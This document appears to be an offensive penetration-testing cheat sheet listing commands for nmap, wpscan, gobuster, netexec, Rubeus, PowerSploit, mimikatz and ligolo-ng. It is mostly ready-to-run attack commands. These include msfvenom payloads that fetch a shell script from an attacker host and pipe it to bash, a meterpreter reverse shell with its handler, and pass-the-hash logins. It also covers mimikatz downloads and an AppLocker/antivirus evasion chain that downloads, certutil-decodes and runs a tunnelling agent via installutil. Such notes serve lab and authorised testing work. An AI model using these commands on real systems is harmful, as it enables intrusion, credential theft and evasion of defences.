Tools

- autorecon
- nmap
- wpscan
- fuff
- nikto
- gobuster
- netexec
- powerview
- msf
- rubeus
- powersploit
- mimikatz
- ligolo-ng

autorecon

Basic usage

```
autorecon TARGET_IP
```

Scanning multiple hosts

```
autorecon -t targets.txt
#or the below
sudo $(which autorecon) TARGET_IP1 TARGET_IP2 TARGET_IP3 -vv
```

nmap

Base Syntax

```
nmap {Targets} [ScanType] [Options]
```

Target

Purpose	Example
1 target	`nmap IP`
scan multiple targets	`nmap IP1, IP2, IP3`
scan a list	`nmap -iL list.txt`
scan CIDR range	`nmap 192.168.1.0/24`

Ports

Purpose	Example
Scan top 1k popular ports	`nmap IP`
Port range	`nmap -p x-y`
Port list	`nmap -p x,y,z`
linear portrange	`nmap -r x-y`

Probing

Purpose	Example
Don't probe	`nmap IP -Pn`
Default probe	`nmap IP -PB`
ICMP Echo Request	`nmap IP -PE`
ICMP Timestamp Request	`nmap IP -PP`
ICMP Network Request	`nmap IP -PM`

Scan Type

Purpose	Example
Probe only	`nmap IP -sn`
SYN Scan	`nmap IP -sS`
TCP Connect Scan	`nmap IP -sT`
UDP Scan	`nmap IP -su`
Version scan	`nmap IP -sV`
OS Detection	`nmap IP -PM`
Set TCP flags	`nmap IP --scanflags: x,y,z`

Timing Options

Purpose	Example
Paranoid	`nmap IP -T0`
Sneaky	`nmap IP -T1`
Polite	`nmap IP -T2`
Normal	`nmap IP -T3`
Aggressive	`nmap IP -T4`
Insane	`nmap IP -T5`

Output Format

Purpose	Example
Standard	`nmap IP -oN file.txt`
Greppable	`nmap IP -oG file.txt`
XML	`nmap IP -oX file.txt`
all formats	`nmap IP -oA file`

Misc Options

Purpose	Example

Aggresive scan	`nmap IP -A`
nmap reason why a port is in a state	`nmap IP --reason`

wpscan

Basic usage

```
wpscan --url http://TARGET_IP
```

Scan for plugins

```
wpscan --url http://TARGET_IP -e p
```

Scan for users

```
wpscan --url http://TARGET_IP -e u
```

Scan for vulnerable plugins

```
wpscan --url http://TARGET_IP -e vp
```

Brute force passwords

```
wpscan --url http://TARGET_IP --passwords /usr/share/wordlists/rockyou.txt
```

fuff

Basic Usage

```
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u
http://TARGET_IP:PORT/FUZZ
```

nikto

Basic usage

```
nikto -host http://TARGET_IP -p PORT
```

gobuster

Basic usage

```
gobuster dir -u http://TARGET_IP:PORT -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
```

Enumerating with extensions (filter the extension based on target)

```
gobuster dir -u http://TARGET_IP:PORT -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,py,html,aspx
```

Enumerating vhosts (after updating `/etc/hosts`

```
gobuster vhost -u <http://hostname.domain> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt  --ad
```

netexec

Enumeration

SMB

```
netexec smb targets.txt  -u user_name -H 'NTLM_HASH'
```

```
netexec smb TARGET_IP  -u user_name -H 'NTLM_HASH' --groups --local-groups --loggedon-users --rid-brute --users --shares --pass-pol
```

winrm

```
netexec winrm targets.txt  -u user_name -H 'NTLM_HASH'
```

powerview

1. Enumerate common names

```
Get-DomainComputer | select cn
```

msf

Linux payloads

With commands

```
msfvenom -p linux/x64/exec CMD='echo I love programming. && curl http://YOUR_IP/shell.php | bash' -f elf -o shellme.elf
```

Windows

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f csharp > payload.c
```

Catch with

```
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 443;set exitfunc thread; exploit -j"
```

rubeus

```
Rubeus.exe asktgt /user:username /rc4:NTLM_hash /ptt
```

powersploit

Reset a user’s password

```
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity nina -AccountPassword $UserPassword
```

mimikatz

You will need to first upload the binaries to the target, either via a meterpreter shell or powershell:

meterpreter

```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
upload /usr/share/windows-resources/mimikatz/x64/mimidrv.sys
```

powershell

```
powershell -ep bypass -c iwr YOUR_IP/mimikatz.exe -o .\\mimikatz.exe
powershell -ep bypass -c iwr YOUR_IP/mimidrv.sys -o .\\mimidrv.sys
```

ligolo-ng

> You can use the standard apt repos if you don’t need to do any modifications, e.g. bypassing Applocker or CLM.

```
sudo apt install ligolo-ng ligolo-ng-common-binaries -y
```

Basic tunnel

1. start `ligolo-proxy`

```
sudo ligolo-proxy -selfcert
```

1. Connect the agent
2. enter session and list network configuration

   ```
   #in ligolo-ng
   sessions
   ifconfig
   ```

3. set route
   1. 1 hop

      ```
      autoroute
      start
      ```

   2. 2 hops

AV evasion

1. Clone the repository

   ```
   git clone https://github.com/nicocha30/ligolo-ng.git
   ```

2. Edit the `ignoreCertificate` and `serverAddr` variables in the following file `/ligolo-ng/cmd/agent/main.go`
3. Compile the `agent.exe` using the following command

```
GOOS=windows go build -o agent.exe cmd/agent/main.go
```

4. Compile as `x64` and give the name `ApplockerBypassExternalBinary.exe` - Github Repo
5. Encode the file created above with certutil

```
certutil.exe -encode .\\ApplockerBypassExternalBinary.exe AppLockerBypassLigolo.txt
```

6. Rename the `agent.exe` to `ligolo-agent.exe`
7. Serve the files (`ligolo-agent.exe` and `AppLockerBypassLigolo.txt`
8. Upload the files to the target

```
cmd.exe /c curl http:/YOUR_IP/ligolo-agent.exe -o C:\\users\\public\\try-agent.exe &&
curl http://YOUR_IP/AppLockerBypassLigolo.txt -o C:\\users\\public\\enc.txt &&
certutil -decode C:\\users\\public\\enc.txt C:\\users\\public\\ligolo.exe && del
C:\\users\\public\\enc.txt &&
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile=
/LogToConsole=true /U C:\\users\\public\\ligolo.exe
```